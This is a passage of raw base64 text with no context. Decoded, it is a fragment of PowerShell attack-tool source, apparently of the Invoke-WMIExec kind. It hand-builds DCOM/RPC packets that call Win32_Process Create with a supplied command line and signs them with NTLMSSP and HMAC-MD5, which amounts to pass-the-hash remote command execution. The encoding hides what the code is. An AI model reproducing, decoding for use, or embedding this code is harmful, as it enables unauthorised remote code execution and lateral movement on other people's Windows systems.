hmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHg5NCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NDEsMHg1MCwweDQ5LDB4N2MsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDUwLDB4NzIsMHg2ZiwweDYzLDB4NjUsMHg3MywweDczLDB4MjAsMHg2MSwweDZlLDB4NjQsMHgyMCwweDU0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2OCwweDcyLDB4NjUsMHg2MSwweDY0LDB4MjAsMHg0NiwweDc1LDB4NmUsMHg2MywweDc0LDB4NjksMHg2ZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NmUsMHg3MywweDdjLDB4NmMsMHg3MCwweDQzLDB4NmYsMHg2ZCwweDZkLDB4NjEsMHg2ZSwweDY0LDB4NGMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY5LDB4NmUsMHg2NSwweDIwLDB4MDAsMHgwMCwweDRkLDB4NjEsMHg3MCwweDcwLDB4NjksMHg2ZSwweDY3LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1MywweDc0LDB4NzIsMHg2OSwweDZlLDB4NjcsMHg3MywweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MjksMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweDM3LDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1ZSwweDAwLDB4MDAsMHgwMCwweDAyLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4Y2EsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLDB4MDAsMHg4YywweDAwLDB4MDAsMHgwMCwweDAwLDB4NDksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDQ0LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgzNiwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4NTksMHgwMSwweDAwLDB4MDAsMHg1ZSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MGIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweGZmLDB4ZmYsMHhjYSwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDhjLDB4MDAsMHgwMCwweDAwLDB4MTEsMHgwMSwweDAwLDB4MDAsMHgxMSwweDAzLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NzMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA4LDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDA0LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDA0LDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0MywweDc1LDB4NzIsMHg3MiwweDY1LDB4NmUsMHg3NCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NDQsMHg2OSwweDcyLDB4NjUsMHg2MywweDc0LDB4NmYsMHg3MiwweDc5LDB4MDAsMHgwMCwweDczLDB4NzQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAxLDB4MDAsMHgwNCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4ODAsMHgwMywweDA4LDB4MDAsMHgwMCwweDAwLDB4ODUsMHgwMSwweDAwLDB4MDAsMHgwMCwweDQ5LDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDg1LDB4MDEsMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHhlMiwweDAxLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NDEsMHg1MCwweDQ5LDB4N2MsMHg1MCwweDcyLDB4NmYsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NjUsMHg3MywweDczLDB4MjAsMHg2MSwweDZlLDB4NjQsMHgyMCwweDU0LDB4NjgsMHg3MiwweDY1LDB4NjEsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY0LDB4MjAsMHg0NiwweDc1LDB4NmUsMHg2MywweDc0LDB4NjksMHg2ZiwweDZlLDB4NzMsMHg3YywweDQzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3MiwweDY1LDB4NjEsMHg3NCwweDY1LDB4NTAsMHg3MiwweDZmLDB4NjMsMHg2NSwweDczLDB4NzMsMHg3YywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NmMsMHg3MCwweDQzLDB4NzUsMHg3MiwweDcyLDB4NjUsMHg2ZSwweDc0LDB4NDQsMHg2OSwweDcyLDB4NjUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDYzLDB4NzQsMHg2ZiwweDcyLDB4NzksMHgyMCwweDAwLDB4MDAsMHg0ZCwweDYxLDB4NzAsMHg3MCwweDY5LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2ZSwweDY3LDB4NTMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4NzMsMHgwMCwweDA4LDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDI5LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLDB4MDAsMHg4NSwweDAxLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwweDAwLDB4ZmYsMHhmZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MmIsMHgwMiwweDAwLDB4MDAsMHgwMiwweDA4LDB4MjAsMHgwMCwweDAwLDB4ZGEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4NDksMHg0NCwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzYsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweGJhLDB4MDIsMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4MmIsMHgwMiwweDAwLDB4MDAsMHgwMiwweDA4LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgyMCwweDAwLDB4MDAsMHhkYSwweDAxLDB4MDAsMHgwMCwweDcyLDB4MDIsMHgwMCwweDAwLDB4MTEsMHgwMywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDczLDB4NzQsMHg3MiwweDY5LDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY3LDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NTAsMHg3MiwweDZmLDB4NjMsMHg2NSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NzMsMHg3MywweDUzLDB4NzQsMHg2MSwweDcyLDB4NzQsMHg3NSwweDcwLDB4NDksMHg2ZSwweDY2LDB4NmYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDcyLDB4NmQsMHg2MSwweDc0LDB4NjksMHg2ZiwweDZlLDB4MDAsMHgwMCwweDZmLDB4NjIsMHg2YSwweDY1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MywweDc0LDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA4LDB4MDAsMHgwMCwweDAwLDB4ZWYsMHgwMiwweDAwLDB4MDAsMHgwMCwweDQ5LDB4NmUsMHgwMCwweDBkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweGVmLDB4MDIsMHgwMCwweDAwLDB4MTYsMHgwMywweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHg0YywweDAzLDB4MDAsMHgwMCwweDAwLDB4NTcsMHg0ZCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NDksMHg3YywweDU3LDB4NjksMHg2ZSwweDMzLDB4MzIsMHg1ZiwweDUwLDB4NzIsMHg2ZiwweDYzLDB4NjUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDczLDB4NzMsMHg1MywweDc0LDB4NjEsMHg3MiwweDc0LDB4NzUsMHg3MCwweDAwLDB4MDAsMHg0ZCwweDYxLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3MCwweDcwLDB4NjksMHg2ZSwweDY3LDB4NTMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4NzMsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MGQsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MjksMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweGVmLDB4MDIsMHgwMCwweDAwLDB4MTYsMHgwMywweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHhmZiwweGZmLDB4NjYsMHgwMywweDAwLDB4MDAsMHgwMiwweDA4LDB4MjAsMHgwMCwweDAwLDB4NDQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLDB4NDksMHg0NCwweDAwLDB4MGQsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzYsMHgwMCwweDAwLDB4MDAsMHgwYSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweGY1LDB4MDMsMHgwMCwweDAwLDB4MTYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4NjYsMHgwMywweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLDB4MDAsMHg0NCwweDAzLDB4MDAsMHgwMCwweGFkLDB4MDMsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgxMSwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDZmLDB4NjIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDZhLDB4NjUsMHg2MywweDc0LDB4M2EsMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NWYsMHg1MCwweDcyLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2ZiwweDYzLDB4NjUsMHg3MywweDczLDB4NTMsMHg3NCwweDYxLDB4NzIsMHg3NCwweDc1LDB4NzAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKCwweDAwICogNTAxKSArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDNjLDB4MGUsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsMHgwMCwweDAxICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kX2xlbmd0aDIgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDgwLDB4MDAsMHg1ZiwweDVmLDB4NTAsMHg0MSwweDUyLDB4NDEsMHg0ZCwweDQ1LDB4NTQsMHg0NSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NTIsMHg1MywweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDA0LDB4MDAsMHgwMiwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkU3R1Yl9kYXRhLkxlbmd0aCAtbHQgJHJlcXVlc3Rfc3BsaXRfaW5kZXgpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXN1bHQnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdF9zdGFnZV9maW5hbCA9IFtNYXRoXTo6Q2VpbGluZygkc3R1Yl9kYXRhLkxlbmd0aCAvICRyZXF1ZXN0X3NwbGl0X2luZGV4KQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmVxdWVzdF9zcGxpdF9zdGFnZSAtbHQgMikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9sZW5ndGggPSAkc3R1Yl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSAkc3R1Yl9kYXRhWzAuLigkcmVxdWVzdF9zcGxpdF9pbmRleCAtIDEpXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0X3N0YWdlID0gMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXJfY291bnRlciA9IDEwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfZmxhZ3MgPSAweDgxDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciA9ICRyZXF1ZXN0X3NwbGl0X2luZGV4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRyZXF1ZXN0X3NwbGl0X3N0YWdlIC1lcSAkcmVxdWVzdF9zcGxpdF9zdGFnZV9maW5hbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdCA9ICRmYWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRzZXF1ZW5jZV9udW1iZXJfY291bnRlcikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdF9zdGFnZSA9IDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gJHN0dWJfZGF0YVskcmVxdWVzdF9zcGxpdF9pbmRleF90cmFja2VyLi4kc3R1Yl9kYXRhLkxlbmd0aF0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1Jlc3VsdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9sZW5ndGggPSAkc3R1Yl9kYXRhLkxlbmd0aCAtICRyZXF1ZXN0X3NwbGl0X2luZGV4X3RyYWNrZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gJHN0dWJfZGF0YVskcmVxdWVzdF9zcGxpdF9pbmRleF90cmFja2VyLi4oJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciArICRyZXF1ZXN0X3NwbGl0X2luZGV4IC0gMSldDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciArPSAkcmVxdWVzdF9zcGxpdF9pbmRleA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0X3N0YWdlKysNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkc2VxdWVuY2VfbnVtYmVyX2NvdW50ZXIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlcl9jb3VudGVyKysNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgJHJlcXVlc3RfZmxhZ3MgJHN0dWJfZGF0YS5MZW5ndGggMTYgJHJlcXVlc3RfYXV0aF9wYWRkaW5nICRyZXF1ZXN0X2NhbGxfSUQgJHJlcXVlc3RfY29udGV4dF9JRCAkcmVxdWVzdF9vcG51bSAkcmVxdWVzdF9VVUlEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXF1ZXN0X3NwbGl0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDWyJSUENSZXF1ZXN0X0FsbG9jSGludCJdID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcmVxdWVzdF9sZW5ndGgpDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciA9IEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIgJHJlcXVlc3RfYXV0aF9wYWRkaW5nIDB4MDQgJHNlcXVlbmNlX251bWJlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICAgICAgICAgICAgICAgICAkTlRMTVNTUF92ZXJpZmllciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfc2lnbmF0dXJlID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCRzZXF1ZW5jZV9udW1iZXIgKyAkUlBDICsgJHN0dWJfZGF0YSArICROVExNU1NQX3ZlcmlmaWVyWzAuLigkcmVxdWVzdF9hdXRoX3BhZGRpbmcgKyA3KV0pDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX3NpZ25hdHVyZSA9ICRSUENfc2lnbmF0dXJlW